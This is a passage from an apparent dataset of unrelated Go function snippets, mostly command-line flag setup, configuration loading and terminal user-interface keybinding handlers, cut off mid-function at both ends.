{\n\t\treturn err\n\t}\n\n\tScreen.SetPaste(config.GetGlobalOption(\"paste\").(bool))\n\n\t// restore TERM\n\tif modifiedTerm {\n\t\tos.Setenv(\"TERM\", oldTerm)\n\t}\n\n\tif config.GetGlobalOption(\"mouse\").(bool) {\n\t\tScreen.EnableMouse()\n\t}\n\n\treturn nil\n}", "func main() {\n\tvar c config\n\terr := sconfig.Parse(&c, \"autofox.conf\", sconfig.Handlers{\n\t\t\"Set\": func(line []string) error {\n\t\t\t// TODO: empty item at end of line?\n\t\t\t// TODO: making c.Set a map and then setting something means it\n\t\t\t// stops processing other values??\n\t\t\t//fmt.Printf(\"XX %v -> %#v\\n\", len(line), line)\n\t\t\tif len(line) < 2 {\n\t\t\t\treturn errors.New(\"need value\")\n\t\t\t}\n\t\t\t//c.Set[line[0]] = strings.Join(line[1:], \" \")\n\t\t\tc.Set = append(c.Set, []string{line[0], strings.TrimSpace(strings.Join(line[1:], \" \"))})\n\t\t\treturn nil\n\t\t},\n\t})\n\n\tif c.DisableOnboarding {\n\t\tc.Set = append(c.Set, shortcuts[\"disable-onboarding\"]...)\n\t}\n\tif c.DisablePocket {\n\t\tc.Set = append(c.Set, shortcuts[\"disable-pocket\"]...)\n\t}\n\tif c.ReasonablePrivacy {\n\t\tc.Set = append(c.Set, shortcuts[\"reasonable-privacy\"]...)\n\t}\n\n\tvar b strings.Builder\n\tfor _, s := range c.Set {\n\t\tvar v string\n\t\tswitch {\n\t\tcase s[1] == \"true\", s[1] == \"false\", reNum.MatchString(s[1]):\n\t\t\tv = s[1]\n\t\tdefault:\n\t\t\tj, err := json.Marshal(s[1])\n\t\t\tif err != nil {\n\t\t\t\tfatal(err)\n\t\t\t}\n\t\t\tv = string(j)\n\t\t}\n\n\t\tb.WriteString(fmt.Sprintf(\"user_pref(\\\"%s\\\", %s);\\n\", s[0], v))\n\t}\n\n\t// Write user.js\n\tp, err := profile()\n\tif err != nil {\n\t\tfatal(err)\n\t}\n\tfmt.Println(p)\n\tfp, err := os.Create(p + \"/user.js\")\n\tif err != nil {\n\t\tfatal(err)\n\t}\n\t_, err = fp.WriteString(b.String())\n\tif err != nil {\n\t\t_ = fp.Close()\n\t\tfatal(err)\n\t}\n\n\terr = fp.Close()\n\tif err != nil {\n\t\tfatal(err)\n\t}\n}", "func (s *HTTPServer) IsUIEnabled() bool {\n\treturn s.agent.config.UIDir != \"\" || s.agent.config.EnableUI\n}", "func init() {\n\tappCmd.AddCommand(appInstallCmd)\n\tappInstallCmd.Flags().StringVarP(&appInstallVersion, \"version\", \"v\", \"\", \"Specify the version of the contribution (optional)\")\n\tappInstallCmd.Flags().StringVarP(&appInstallName, \"name\", \"n\", \"\", \"The name of the contribution (required)\")\n\tappInstallCmd.Flags().BoolVarP(&appInstallPalette, \"palette\", \"p\", false, \"Install palette file\")\n\tappInstallCmd.MarkFlagRequired(\"name\")\n}", "func PromptUser(res *PrometheusJobs) {\n\n\tfor _, val := range res.PromScrapeConfigs {\n\t\tfmt.Println(val.JobName)\n\n\t\tfor _, configs := range val.PromStaticConfigs {\n\t\t\tfor _, targets := range configs.Targets {\n\t\t\t\tfmt.Printf(\"For job '%s', target %s what would you like to do\\n\", val.JobName, targets)\n\t\t\t}\n\t\t}\n\t}\n}", "func initConfig() {\n\tif config.RootConfigInstance.CfgFile != \"\" {\n\t\t// Use config file from the flag.\n\t\tviper.SetConfigFile(config.RootConfigInstance.CfgFile)\n\t} else {\n\t\t// Find user config directory.\n\t\thome, err := os.UserConfigDir()\n\t\tcobra.CheckErr(err)\n\n\t\tviper.AddConfigPath(home)\n\t\tviper.SetConfigType(\"yaml\")\n\t\tviper.SetConfigName(\"plc4xpcapanalyzer-viper\")\n\t}\n\n\tviper.AutomaticEnv() // read in environment variables that match\n\n\t// If a config file is found, read it in.\n\tif err := viper.ReadInConfig(); err == nil {\n\t\t_, _ = fmt.Fprintln(os.Stderr, \"Using config file:\", viper.ConfigFileUsed())\n\t}\n\n\tzerolog.ErrorStackMarshaler = pkgerrors.MarshalStack\n\tif config.RootConfigInstance.LogType == \"text\" {\n\t\tlog.Logger = log.\n\t\t\t//// Enable below if you want to see the filenames\n\t\t\t//With().Caller().Logger().\n\t\t\tOutput(zerolog.NewConsoleWriter(\n\t\t\t\tfunc(w *zerolog.ConsoleWriter) {\n\t\t\t\t\tw.Out = os.Stderr\n\t\t\t\t},\n\t\t\t\tfunc(w *zerolog.ConsoleWriter) {\n\t\t\t\t\tw.FormatFieldValue = func(i interface{}) string {\n\t\t\t\t\t\tif aString, ok := i.(string); ok && strings.Contains(aString, \"\\\\n\") {\n\t\t\t\t\t\t\treturn fmt.Sprintf(\"\\x1b[%dm%v\\x1b[0m\", 31, \"see below\")\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn fmt.Sprintf(\"%s\", i)\n\t\t\t\t\t}\n\t\t\t\t\tw.FormatExtra = func(m map[string]interface{}, buffer *bytes.Buffer) error {\n\t\t\t\t\t\tfor key, i := range m {\n\t\t\t\t\t\t\tif aString, ok := i.(string); ok && strings.Contains(aString, \"\\n\") {\n\t\t\t\t\t\t\t\tbuffer.WriteString(\"\\n\")\n\t\t\t\t\t\t\t\tbuffer.WriteString(fmt.Sprintf(\"\\x1b[%dm%v\\x1b[0m\", 32, \"field \"+key))\n\t\t\t\t\t\t\t\tbuffer.WriteString(\":\\n\" + aString)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t),\n\t\t\t).\n\t\t\tLevel(parseLogLevel())\n\t}\n}", "func (cfg *Config) Display() {\n fmt.Println(os.Args)\n fmt.Println(\"-------------------------------------\")\n}", "func (ui *UI) SetEvents() {\n\ttermui.Handle(\"/sys/kbd/C-c\", func(termui.Event) {\n\t\ttermui.StopLoop()\n\t})\n\n\ttermui.Handle(\"/sys/kbd/C-r\", func(termui.Event) {\n\t\tui.triggerInstancesUpdate()\n\t})\n\n\ttermui.Handle(\"/usr/instances\", func(e termui.Event) {\n\t\tui.instances = e.Data.([]*ec2.Instance)\n\t\tui.filterInstancesToDisplay()\n\t\tui.refreshInstancesTable()\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/usr/errors\", func(e termui.Event) {\n\t\tif e.Data != nil {\n\t\t\tui.err = e.Data.(error)\n\t\t\tui.refreshErrorMsg(ui.err)\n\t\t\ttermui.Render(termui.Body)\n\t\t}\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<enter>\", func(termui.Event) {\n\t\tif ui.selectedRow > 0 && (ui.selectedRow+ui.startRow-1) < len(ui.displayedInstances) {\n\t\t\texec.Command(\"open\", \"ssh://\"+*ui.displayedInstances[ui.selectedRow+ui.startRow-1].PublicDnsName).Start()\n\t\t}\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<up>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(UP)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<down>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(DOWN)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<home>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(TOP)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<previous>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(TOP)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<end>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(BOTTOM)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<next>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(BOTTOM)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<left>\", func(termui.Event) { /*ignore*/ })\n\ttermui.Handle(\"/sys/kbd/<right>\", func(termui.Event) { /*ignore*/ })\n\n\ttermui.Handle(\"/sys/kbd/C-8\", func(termui.Event) {\n\t\tif len(ui.searchBox.Text) > 0 {\n\t\t\tui.searchBox.Text = ui.searchBox.Text[:len(ui.searchBox.Text)-1]\n\t\t\tui.filterInstancesToDisplay()\n\t\t\tui.refreshInstancesTable()\n\t\t\ttermui.Render(termui.Body)\n\t\t}\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<backspace>\", func(termui.Event) {\n\t\tif len(ui.searchBox.Text) > 0 {\n\t\t\tui.searchBox.Text = ui.searchBox.Text[:len(ui.searchBox.Text)-1]\n\t\t\tui.filterInstancesToDisplay()\n\t\t\tui.refreshInstancesTable()\n\t\t\ttermui.Render(termui.Body)\n\t\t}\n\t})\n\n\ttermui.Handle(\"/sys/kbd\", func(e termui.Event) {\n\t\tif len(ui.searchBox.Text) < 60 {\n\t\t\tkey := strings.Split(e.Path, \"/\")[3]\n\t\t\tui.searchBox.Text = ui.searchBox.Text + (key)\n\t\t\tui.filterInstancesToDisplay()\n\t\t\tui.refreshInstancesTable()\n\t\t\ttermui.Render(termui.Body)\n\t\t}\n\t})\n\n\ttermui.Handle(\"/sys/wnd/resize\", func(termui.Event) {\n\t\ttermui.Body.Width = termui.TermWidth()\n\t\ttermui.Body.Align()\n\t\ttermui.Clear()\n\t\ttermui.Render(termui.Body)\n\t})\n}", "func (chroma *Chroma) configure() (err error) {\n\n\t// Configure paths based off pkgbuild and root path\n\t// ---------------------------------------------------------------------------------------------\n\tif chroma.pkgbuild != \"\" {\n\t\tchroma.rootDir = path.Dir(chroma.pkgbuild)\n\t} else {\n\t\tchroma.pkgbuild = path.Join(chroma.rootDir, \"PKGBUILD\")\n\t}\n\tchroma.patchesDir = path.Join(chroma.rootDir, \"patches\")\n\tchroma.extensionsDir = path.Join(chroma.rootDir, \"src\", \"extensions\")\n\n\t// Validate the chromium PKGBUILD\n\t// ---------------------------------------------------------------------------------------------\n\tif !sys.Exists(chroma.pkgbuild) {\n\t\terr = errors.Errorf(\"chromium PKGBUILD coudn't be found\")\n\t\treturn\n\t}\n\n\t// Parse out the chromium version from the PKGBUILD\n\texp := `(?m)^pkgver=(.*)$`\n\tif chroma.chromiumVer, err = futil.ExtractString(chroma.pkgbuild, exp); err != nil || chroma.chromiumVer == \"\" {\n\t\terr = errors.Errorf(\"failed to extract the chromium version from the PKGBUILD\")\n\t\treturn\n\t}\n\tif chroma.chromiumVer, err = futil.ExtractString(chroma.pkgbuild, exp); err != nil || chroma.chromiumVer == \"\" {\n\t\terr = errors.Errorf(\"failed to extract the chromium version from the VERSION file\")\n\t\treturn\n\t}\n\n\t// Boiler plate for all commands\n\t// ---------------------------------------------------------------------------------------------\n\tchroma.printf(\"Chromium Ver: %s\\n\", chroma.chromiumVer)\n\tchroma.printf(\"PKBUILD Path: %s\\n\", chroma.pkgbuild)\n\tchroma.println()\n\treturn\n}", "func (global *GlobalConfig) PromptUserForConfig() error {\n\tvar c GlobalConfig\n\tif err := prompt.Dialog(&c, \"Insert the\"); err != nil {\n\t\treturn err\n\t}\n\n\t*global = c\n\treturn nil\n}", "func (i *Installation) InstallWebUIBelow4x() {\n\tInfof(\"Running the setup for installing GPCC WEB UI for command center version: %s\", cmdOptions.CCVersion)\n\ti.GPCC.InstancePort = i.validatePort(\"GPCC_PORT\", defaultGpccPort)\n\ti.GPCC.WebSocketPort = i.validatePort(\"WEBSOCKET_PORT\", defaultWebSocket) // Safe Guard to prevent 4.x and below clash\n\ti.GPCC.InstanceName = commandCenterInstanceName()\n\tvar scriptOption []string\n\n\t// CC Option for different version of cc installer\n\t// Not going to refactor this piece of code, since this is legacy and testing all the version option is a pain\n\t// so we will leave this as it is\n\tif strings.HasPrefix(cmdOptions.CCVersion, \"1\") { // CC Version 1.x\n\t\tscriptOption = []string{i.GPCC.InstanceName, \"n\", i.GPCC.InstanceName, i.GPInitSystem.MasterPort, i.GPCC.InstancePort, \"n\", \"n\", \"n\", \"n\", \"EOF\"}\n\t} else if strings.HasPrefix(cmdOptions.CCVersion, \"2.5\") || strings.HasPrefix(cmdOptions.CCVersion, \"2.4\") { // Option of CC 2.5 & after\n\t\tscriptOption = []string{i.GPCC.InstanceName, \"n\", i.GPCC.InstanceName, i.GPInitSystem.MasterPort, i.GPCC.InstancePort, strconv.Itoa(strToInt(i.GPCC.InstancePort) + 1), \"n\", \"n\", \"n\", \"n\", \"EOF\"}\n\t} else if strings.HasPrefix(cmdOptions.CCVersion, \"2.1\") || strings.HasPrefix(cmdOptions.CCVersion, \"2.0\") { // Option of CC 2.0 & after\n\t\tscriptOption = []string{i.GPCC.InstanceName, \"n\", i.GPCC.InstanceName, i.GPInitSystem.MasterPort, \"n\", i.GPCC.InstancePort, \"n\", \"n\", \"n\", \"n\", \"EOF\"}\n\t} else if strings.HasPrefix(cmdOptions.CCVersion, \"2\") { // Option for other version of cc 2.x\n\t\tscriptOption = []string{i.GPCC.InstanceName, \"n\", i.GPCC.InstanceName, i.GPInitSystem.MasterPort, \"n\", i.GPCC.InstancePort, strconv.Itoa(strToInt(i.GPCC.InstancePort) + 1), \"n\", \"n\", \"n\", \"n\", \"EOF\"}\n\t} else if strings.HasPrefix(i.GPCC.InstanceName, \"3.0\") { // Option for CC version 3.0\n\t\tscriptOption = []string{i.GPCC.InstanceName, i.GPCC.InstanceName, \"n\", i.GPInitSystem.MasterPort, i.GPCC.InstancePort, \"n\", \"n\", \"EOF\"}\n\t} else { // All the newer version option unless changed.\n\t\tscriptOption = []string{i.GPCC.InstanceName, i.GPCC.InstanceName, \"n\", i.GPInitSystem.MasterPort, \"n\", i.GPCC.InstancePort, \"n\", \"n\", \"EOF\"}\n\t}\n\ti.installGPCCUI(scriptOption)\n}", "func (t *tui) Run(done, ready chan bool) {\n\tt.ready = ready\n\n\tlog.Tracef(\"creating UI\")\n\tvar err error\n\tt.g, err = gotui.NewGui(gotui.Output256)\n\tif err != nil {\n\t\tlog.Criticalf(\"unable to create ui: %v\", err)\n\t\tos.Exit(2)\n\t}\n\tdefer t.g.Close()\n\n\tt.g.Cursor = true\n\tt.g.Mouse = t.client.Config.Client.UI.Mouse\n\n\tt.g.SetManagerFunc(t.layout)\n\tt.g.SetResizeFunc(t.onResize)\n\n\tlog.Tracef(\"adding keybindings\")\n\tif err := t.keybindings(t.g); err != nil {\n\t\tlog.Criticalf(\"ui couldn't create keybindings: %v\", err)\n\t\tos.Exit(2)\n\t}\n\n\tlog.Tracef(\"listening for signals\")\n\tt.listener = make(chan signal.Signal)\n\tgo t.listen()\n\tt.client.Env.AddListener(\"ui\", t.listener)\n\n\tlog.Tracef(\"running UI...\")\n\tif err := t.g.MainLoop(); err != nil && err != gotui.ErrQuit {\n\t\tt.errs.Close()\n\t\tlog.Criticalf(\"ui unexpectedly quit: %s: %s\", err, errgo.Details(err))\n\t\tfmt.Printf(\"Oh no! Something went very wrong :( Here's all we know: %s: %s\\n\", err, errgo.Details(err))\n\t\tfmt.Println(\"Your connections will all close gracefully and any logs properly closed out.\")\n\t}\n\tt.client.CloseAll()\n\tdone <- true\n}", "func init() {\n\thome, err := homedir.Dir() // Fetch the current user home dir.\n\tutils.PanicErr(err) // Panic in case user dir not available\n\tdefaultOutputDir := filepath.Join(home, utils.DEFAULT_OUTPUT_PATH)\n\tgenCmd.Flags().String(utils.FLAG_INPUT, utils.DEFAULT_PDF_PATH, utils.FLAG_INPUT_DESC)\n\tgenCmd.Flags().String(utils.FLAG_OUTPUT, defaultOutputDir, utils.FLAG_OUTPUT_DESC)\n\tgenCmd.Flags().String(utils.FLAG_VOICE, utils.FEMALE_VOICE, utils.FLAG_VOICE_DESC)\n\tRootCmd.AddCommand(genCmd)\n}", "func (srv *Server) Update() {\n\tsrv.mu.Lock()\n\tdefer srv.mu.Unlock()\n\tsrv.statusBar.ActiveTabIndex = srv.windows.ActiveIndex()\n\twin := srv.windows.Active()\n\tif win == nil {\n\t\treturn\n\t}\n\twin.Touch()\n\tsrv.statusBar.TabNames, srv.statusBar.TabsWithActivity = srv.windows.TabNames()\n\tsrv.chatPane.SelectedRow = win.CurrentLine()\n\tsrv.chatPane.Rows = win.Lines()\n\tsrv.chatPane.Title = win.Title()\n\n\tif ch, ok := win.(*Channel); ok {\n\t\tsrv.chatPane.SubTitle = ch.Topic()\n\t\tsrv.chatPane.ModeText = ch.Modes()\n\t} else {\n\t\tsrv.chatPane.SubTitle = \"\"\n\t\tsrv.chatPane.ModeText = \"\"\n\t}\n\tsrv.chatPane.LeftPadding = win.padding() + 7\n\tif srv.statusBar.ActiveTabIndex == 0 {\n\t\tsrv.chatPane.ModeText = srv.currentNick\n\t}\n\tsrv.mainWindow.Items = nil\n\tif v, ok := win.(WindowWithUserList); ok {\n\t\tsrv.userListPane.Rows = v.UserList()\n\t\tsuff := \"s\"\n\t\tif len(srv.userListPane.Rows) == 1 {\n\t\t\tsuff = \"\"\n\t\t}\n\t\tsrv.userListPane.Title = fmt.Sprintf(\"%d user%s\", len(srv.userListPane.Rows), suff)\n\t\tsrv.mainWindow.Set(\n\t\t\tui.NewCol(.85, srv.chatPane),\n\t\t\tui.NewCol(.15, srv.userListPane),\n\t\t)\n\t} else {\n\t\tsrv.mainWindow.Set(\n\t\t\tui.NewCol(1, srv.chatPane),\n\t\t)\n\t}\n}", "func init() {\n\tif runtime.GOOS == \"windows\" {\n\t\tsurveyCore.SelectFocusIcon = \">\"\n\t\tsurveyCore.MarkedOptionIcon = \"[x]\"\n\t\tsurveyCore.UnmarkedOptionIcon = \"[ ]\"\n\t}\n}", "func init() {\n\trootCmd.AddCommand(pmmpostCmd)\n\tpmmpostCmd.Flags().BoolP(\"vi\", \"m\", false, \"Set vi editing mode\")\n\tpmmpostCmd.Flags().StringP(\"outdir\", \"d\", \".\", \"Output directory\")\n\tpmmpostCmd.Flags().StringP(\"format\", \"f\", \"png\", \"Output format\")\n\tpmmpostCmd.Flags().BoolP(\"debug\", \"x\", false, \"Debug mode\")\n}", "func (sp *StackPackage) AddUI(filepath string, ui string) {\n\tsp.UISpecs[filepath] = ui\n}", "func preConfigureCallback(vars resource.PropertyMap, c shim.ResourceConfig) error {\n\treturn nil\n}", "func InitNoUI(uiView View) {\n\tfmt.Println(\"Monitoring the URLS...\")\n}", "func interactiveSetup() (err error) {\n\tprintln(`\nWelcome to the Cosmos registry tool. \nThis tool will allow you to publicly claim a Chain ID \nfor your cosmos based chain.\n\nTo complete the setup you need a GitHub account and \nnetwork connectivity to a node of your chain.\n`)\n\t// ask to start\n\tif goOn := prompts.Confirm(true, \"do you have them available\"); !goOn {\n\t\tprintln(\"please make sure you get them and the run the setup again\")\n\t\tos.Exit(0)\n\t}\n\n\tuser, email := gitwrap.GetGlobalGitIdentity()\n\n\t// next get the git user\n\tgitName, err := prompts.InputOrDefault(user, \"enter your git username\")\n\tif err != nil {\n\t\tprintln(err.Error())\n\t\tos.Exit(1)\n\t}\n\tviper.Set(\"git-name\", gitName)\n\n\t// next get the git email\n\tgitEmail, err := prompts.InputOrDefault(email, \"enter your git email\")\n\tif err != nil {\n\t\tprintln(err.Error())\n\t\tos.Exit(1)\n\t}\n\tviper.Set(\"git-email\", gitEmail)\n\n\t// now get the github token\n\tprintln(`\nThe next step is to enter a github personal token for your account , \nif you don't have one you can get it from\n\nhttps://github.com/settings/tokens\n\n(make sure that you select the permission repo > public_repo)\n`)\n\n\ttoken, err := prompts.Password(\"%s personal token\", gitName)\n\tif err != nil {\n\t\tprintln(err.Error())\n\t\tos.Exit(1)\n\t}\n\tviper.Set(\"github-access-token\", token)\n\n\tprintln(\"the setup is now completed\")\n\treturn\n}", "func (cons *Console) Configure(conf core.PluginConfigReader) {\n\tswitch strings.ToLower(cons.pipeName) {\n\tcase \"stdin\":\n\t\tcons.pipe = os.Stdin\n\t\tcons.pipeName = \"stdin\"\n\tdefault:\n\t\tcons.pipe = nil\n\t}\n}", "func uiLayout(g *gocui.Gui) error {\n\tmaxX, maxY := g.Size()\n\n\tviewDebug(g, maxX, maxY)\n\tviewLogs(g, maxX, maxY)\n\tviewNamespaces(g, maxX, maxY)\n\tviewOverlay(g, maxX, maxY)\n\tviewTitle(g, maxX, maxY)\n\tviewPods(g, maxX, maxY)\n\tviewStatusBar(g, maxX, maxY)\n\n\treturn nil\n}", "func setupCLI() string {\n\n\tvar input string\n\n\tInputPtr := flag.String(\"i\", \"\", \"location of raw binary data cipher text file\")\n\n\tif len(os.Args) < 2 {\n\n\t\tmissingParametersError()\n\t\tflag.PrintDefaults()\n\t\tos.Exit(1)\n\n\t}\n\n\tflag.Parse()\n\n\tinput = *InputPtr\n\n\tif input == \"\" {\n\t\tmissingParametersError()\n\t\tflag.PrintDefaults()\n\t\tos.Exit(1)\n\t}\n\n\treturn input\n\n}", "func runTUI() error {\n\n\t// Set function to manage all views and keybindings\n\tclientGui.SetManagerFunc(layout)\n\n\t// Bind keys with functions\n\t_ = clientGui.SetKeybinding(\"\", gocui.KeyCtrlC, gocui.ModNone, quit)\n\t_ = clientGui.SetKeybinding(\"input\", gocui.KeyEnter, gocui.ModNone, send)\n\n\t// Start main event loop of the TUI\n\treturn clientGui.MainLoop()\n}", "func Init(uiView View) <-chan termui.Event {\n\tif !uiView.UIEnabled {\n\t\tInitNoUI(uiView)\n\t\treturn nil\n\t}\n\tif err := ui.Init(); err != nil {\n\t\tlog.Fatalf(\"failed to initialize termui: %v\", err)\n\t}\n\treturn ui.PollEvents()\n}", "func preReceiveHook(m string) []byte {\n\treturn []byte(fmt.Sprintf(\"#!/bin/rc\\necho -n %s\\n\", quote(m)))\n}", "func promptForUserData () (data.UserPreferences, error) {\n\t// TODO try to get the user name and email from the git config first before asking for it\n\treader := bufio.NewReader(os.Stdin)\n\tmeta := data.UserPreferences{}\n\n\tfmt.Print(ansi.Color(\" Fullname: \", \"blue\"))\n\tfullname, err := reader.ReadString('\\n')\n\tif err != nil {\n\t\treturn meta, err\n\t}\n\n\tfmt.Print(ansi.Color(\" Email: \", \"blue\"))\n\temail, err := reader.ReadString('\\n')\n\tif err != nil {\n\t\treturn meta, err\n\t}\n\n\tmeta.Fullname = strings.Trim(fullname, \"\\n\")\n\tmeta.Email = strings.Trim(email, \"\\n\")\n\n\treturn meta, nil\n}", "func Init(title string) {\n\terr := termbox.Init()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tlines = []line{\n\t\t[]segment{{text: title}},\n\t}\n\tdraw(modeWorking)\n}", "func initShowCommand(ctx *Context, root *Command) {\n\tshow := NewCommand(\"show\")\n\tshow.Dispatch = func(line string) error {\n\t\tfmt.Printf(\"executing show.. show what..\\n\")\n\t\treturn nil\n\t}\n\tshow.Completer = func(line string, i int, r rune) (newline string, newpos int, ok bool) {\n\n\t\tDbg(\"show line=%v i=%d r=%v\\n\", line, i, r)\n\n\t\treturn completeCommands(ctx, show, line, i, r)\n\n\t}\n\n\tshow.TabComplete = func(line string, i int, r rune) (newline string, newpos int, ok bool) {\n\t\treturn completeCommands(ctx, show, line, i, r)\n\t}\n\n\tversion := show.NewCommand(\"version\")\n\tversion.Dispatch = func(line string) error {\n\t\tfmt.Printf(\"version 1.0\\n\")\n\t\tfmt.Printf(\"dbg line: %s\\n\", line)\n\t\treturn nil\n\t}\n\n\tfrontend := show.NewCommand(\"frontend\")\n\tfrontend.Dispatch = func(line string) error {\n\t\tfmt.Printf(\"frontend -- %q\\n\", line)\n\n\t\tfrontends, _ := ctx.Ha.ShowStat(-1, haproxyctl.ObjectFrontend, -1)\n\t\tfor _, f := range frontends {\n\n\t\t\tfmt.Printf(\"\\n\")\n\t\t\tfmt.Printf(\"frontend %s\\n\", f.Pxname)\n\t\t\tfmt.Printf(\" %+v\\n\", f)\n\t\t}\n\n\t\treturn nil\n\t}\n\n\tbar := show.NewCommand(\"bar\")\n\tbar.Dispatch = func(line string) error {\n\t\tfmt.Printf(\"bar -- %q\\n\", line)\n\t\treturn nil\n\t}\n\n\troot.Add(\"show\", show)\n}", "func InstallEventHandlers() {\n\ttui.Handle(\"/sys/kbd/q\", handleByMode(\n\t\tfunc(_ tui.Event) { shutdown() },\n\t\tfunc(_ tui.Event) { Dispatch(SetInputModeAction{mode: NormalMode}) },\n\t\tfunc(_ tui.Event) { Dispatch(AppendToCommandAction{text: \"q\"}) },\n\t))\n\ttui.Handle(\"/sys/kbd/r\", handleByMode(\n\t\tfunc(_ tui.Event) { go RefetchLogs() },\n\t\tnoOp,\n\t\tfunc(_ tui.Event) { Dispatch(AppendToCommandAction{text: \"r\"}) },\n\t))\n\ttui.Handle(\"/sys/kbd/:\", handleByMode(\n\t\tfunc(_ tui.Event) { Dispatch(SetInputModeAction{mode: \"command\"}) },\n\t\tnoOp,\n\t\tfunc(_ tui.Event) { Dispatch(AppendToCommandAction{text: \":\"}) },\n\t))\n\ttui.Handle(\"/sys/kbd/g\", handleByMode(\n\t\tfunc(_ tui.Event) { Dispatch(SetCursorAction{x: 0, y: 0}) },\n\t\tnoOp,\n\t\tfunc(_ tui.Event) { Dispatch(AppendToCommandAction{text: \"g\"}) },\n\t))\n\ttui.Handle(\"/sys/kbd/G\", handleByMode(\n\t\tfunc(_ tui.Event) { Dispatch(SetCursorAction{x: 0, y: LogsHeight()}) },\n\t\tnoOp,\n\t\tfunc(_ tui.Event) { Dispatch(AppendToCommandAction{text: \"G\"}) },\n\t))\n\ttui.Handle(\"/sys/kbd/j\", handleByMode(\n\t\tfunc(_ tui.Event) { Dispatch(MoveCursorAction{x: 0, y: 1}) },\n\t\tfunc(_ tui.Event) { Dispatch(MoveCursorAction{x: 0, y: 1}) },\n\t\tfunc(_ tui.Event) { Dispatch(AppendToCommandAction{text: \"j\"}) },\n\t))\n\ttui.Handle(\"/sys/kbd/J\", handleByMode(\n\t\tfunc(_ tui.Event) { Dispatch(MoveCursorAction{x: 0, y: 10}) },\n\t\tnoOp,\n\t\tfunc(_ tui.Event) { Dispatch(AppendToCommandAction{text: \"J\"}) },\n\t))\n\ttui.Handle(\"/sys/kbd/k\", handleByMode(\n\t\tfunc(_ tui.Event) { Dispatch(MoveCursorAction{x: 0, y: -1}) },\n\t\tfunc(_ tui.Event) { Dispatch(MoveCursorAction{x: 0, y: -1}) },\n\t\tfunc(_ tui.Event) { Dispatch(AppendToCommandAction{text: \"k\"}) },\n\t))\n\ttui.Handle(\"/sys/kbd/K\", handleByMode(\n\t\tfunc(_ tui.Event) { Dispatch(MoveCursorAction{x: 0, y: -10}) },\n\t\tnoOp,\n\t\tfunc(_ tui.Event) { Dispatch(AppendToCommandAction{text: \"K\"}) },\n\t))\n\ttui.Handle(\"/sys/kbd/>\", handleByMode(\n\t\tfunc(_ tui.Event) { Dispatch(SetInputModeAction{mode: \"focus\"}) },\n\t\tnoOp,\n\t\tfunc(_ tui.Event) { Dispatch(AppendToCommandAction{text: \">\"}) },\n\t))\n\ttui.Handle(\"/sys/kbd/C-c\", func(_ tui.Event) {\n\t\tshutdown()\n\t})\n\ttui.Handle(\"/sys/kbd/<space>\", func(_ tui.Event) {\n\t\tDispatch(AppendToCommandAction{text: \" \"})\n\t})\n\ttui.Handle(\"/sys/kbd/C-8\", func(_ tui.Event) {\n\t\t// This is backspace for me. Might be different on other systems?\n\t\tDispatch(BackspaceCommandAction{})\n\t})\n\ttui.Handle(\"/sys/kbd/<enter>\", handleByMode(\n\t\tfunc(e tui.Event) { Dispatch(SetInputModeAction{mode: \"focus\"}) },\n\t\tnoOp,\n\t\tfunc(e tui.Event) {\n\t\t\tcommand := GetState().CommandBuffer\n\t\t\tDispatch(ClearCommandAction{})\n\t\t\tDispatch(ProcessCommandAction{command: command})\n\t\t},\n\t))\n\ttui.Handle(\"/sys/kbd\", commandOnly(func(e tui.Event) {\n\t\tif evtKbd, ok := e.Data.(tui.EvtKbd); ok {\n\t\t\tDispatch(AppendToCommandAction{text: evtKbd.KeyStr})\n\t\t}\n\t}))\n}", "func init() {\n\trootCmd.Flags().BoolVarP(&caseSensitiveFlag, \"case-sensitive\", \"I\", false, \"Case sensitive pattern match\")\n\trootCmd.Flags().BoolVarP(&stdinFlag, \"stdin\", \"\", false, \"Expects input via pipes\")\n\trootCmd.Flags().BoolVarP(&noColorFlag, \"no-color\", \"\", false, \"Do not print colored output\")\n}", "func (s SimpleTermUI) Update(pdata PrintData) {\n\tstartRow := (pdata.Position.X)\n\tendRow := (startRow + pdata.Size.X)\n\n\tstartCol := (pdata.Position.Y)\n\tendCol := (startCol + pdata.Size.Y)\n\n\tpaddedContent := simpleTermUIpad(pdata)\n\td.DebugLog(paddedContent)\n\n\tfor row := startRow; row < endRow; row++ {\n\t\ts.uiContent[row] = (s.uiContent[row][:startCol] +\n\t\t\tpaddedContent[row-startRow] 